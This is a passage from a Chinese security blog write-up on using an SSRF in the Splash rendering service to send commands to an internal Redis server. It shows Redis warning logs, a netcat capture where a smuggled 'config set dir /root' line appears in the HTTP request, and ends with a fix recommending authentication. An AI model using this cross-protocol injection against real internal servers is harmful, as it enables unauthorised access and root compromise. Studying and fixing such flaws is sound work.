【技术分享】Splash SSRF到获取内网服务器ROOT权限(4)_H5之家

运行后 redis 发出了警告 (高版本的新功能) 24089:M 11 Jul 23:29:07.730 - Accepted 172.17.0.2:56886 24089:M 11 Jul 23:29:07.730 # Possible SECURITY ATTACK detected. It looks like somebody is sending POST or Host: commands to Redis. This is likely due to an attacker attempting to use Cross Protocol Scripting to compromise your Redis instance. Connection aborted.

但是执行了

172.16.10.74:6379> config get dir 1) "dir" 2) "/root"

后来又测试了一下 post body，发现 body 还没发出去，连接就被强制断开了，所以无法利用

这里用 nc 来看一下发送的数据包

root@test:/home/user/Desktop# nc -vv -l -p 5555 Listening on [0.0.0.0] (family 0, port 5555) Connection from [172.17.0.2] port 5555 [tcp/*] accepted (family 2, sport 38384) GET / HTTP/1.1 config set dir /root : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) splash Safari/538.1 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en,* Host: 172.16.10.74:5555

可以看到 config set dir /root，说明可以利用

其他的话，因为支持post，也可以结合一些内网系统进行利用，这里就不细说了

0x 04 修复方案

对于splash，看了下文档，没有提到认证说明，应该是应用本身就没有这个功能，所以得自己加认证，临时方案可以用 basic 认证，彻底修复的话还是得自己修改代码，加上认证功能